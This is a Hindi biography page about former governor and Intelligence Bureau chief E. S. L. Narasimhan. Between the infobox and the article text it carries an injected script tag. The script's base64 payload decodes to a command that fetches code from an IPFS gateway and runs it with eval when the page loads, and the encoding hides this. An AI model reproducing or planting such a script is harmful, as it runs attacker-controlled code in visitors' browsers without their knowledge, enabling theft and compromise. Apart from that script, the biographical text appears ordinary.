ई. एस. एल. नरसिम्हन
ई. एस. एल. नरसिम्हन
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पूरा नाम | ई. एस. एल. नरसिम्हन |
जन्म | 1945 |
जन्म भूमि | चेन्नई, तमिलनाडु |
पति/पत्नी | विमला नरसिम्हन |
नागरिकता | भारतीय |
प्रसिद्धि | सिविल सेवक |
पद | प्रथम राज्यपाल, तेलंगाना- 2 जून 2014 से 7 सितंबर 2019 22वें राज्यपाल, आंध्र प्रदेश- 28 दिसंबर 2009 से 23 जुलाई 2019 |
अन्य जानकारी | ई. एस. एल. नरसिम्हन ने 1981 से 1984 तक मास्को में भारत के दूतावास में प्रथम सचिव के रूप में कार्य किया। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>ई. एस. एल. नरसिम्हन (अंग्रेज़ी: Ekkadu Srinivasan Lakshmi Narasimhan, जन्म- 1945, चेन्नई, तमिलनाडु) पूर्व भारतीय सिविल सेवक और राजनीतिज्ञ हैं। उन्होंने तेलंगाना के पहले राज्यपाल के रूप में कार्य किया है। उन्होंने दिसंबर 2009 में आंध्र प्रदेश के राज्यपाल और 2 जून 2014 को तेलंगाना के राज्यपाल का पद ग्रहण किया था। ई. एस. एल. नरसिम्हन ने पहले फरवरी 2005 से दिसंबर 2006 तक इंटेलिजेंस ब्यूरो के निदेशक के रूप में कार्य किया। फिर 2007 से 2009 तक छत्तीसगढ़ के राज्यपाल के रूप में भी कार्य किया। उन्हें भारत में सबसे लंबे समय तक सेवा देने वाले राज्यपाल के रूप में जाना जाता है।
परिचय
ई. एस. एल. नरसिम्हन का जन्म 1945 में मद्रास (वर्तमान चेन्नई) तमिलनाडु में हुआ था। हैदराबाद के लिटिल फ्लावर हाई स्कूल में शुरुआती दो साल की पढ़ाई के बाद उन्होंने अपनी पूरी शिक्षा चेन्नई से पूरी की। वह आंध्र प्रदेश कैडर के 1968 बैच के आईपीएस अधिकारी हैं। उन्होंने 1981 से 1984 तक मास्को में भारत के दूतावास में प्रथम सचिव के रूप में कार्य किया। उन्होंने 31 दिसंबर 2006 को ब्यूरो के निदेशक के रूप में सेवानिवृत्त होने तक कई वर्षों तक इंटेलिजेंस ब्यूरो में काम किया।
राज्यपाल
19 जनवरी 2007 को ई. एस. एल. नरसिम्हन को छत्तीसगढ़ का राज्यपाल नियुक्त किया गया था। उन्होंने 25 जनवरी 2007 को पदभार ग्रहण किया। 27 दिसंबर 2009 को उन्होंने नारायण दत्त तिवारी से आंध्र प्रदेश के कार्यकारी राज्यपाल के रूप में अतिरिक्त प्रभार लिया, जिन्होंने एक सेक्स स्कैंडल के बाद इस्तीफा दे दिया था। 23 जनवरी 2010 को उन्हें औपचारिक रूप से छत्तीसगढ़ में पद छोड़ने पर आंध्र प्रदेश के राज्यपाल के रूप में नियुक्त किया गया था। इस पद पर वह 28 दिसंबर 2009 से 23 जुलाई 2019 तक इस पद पर रहे।
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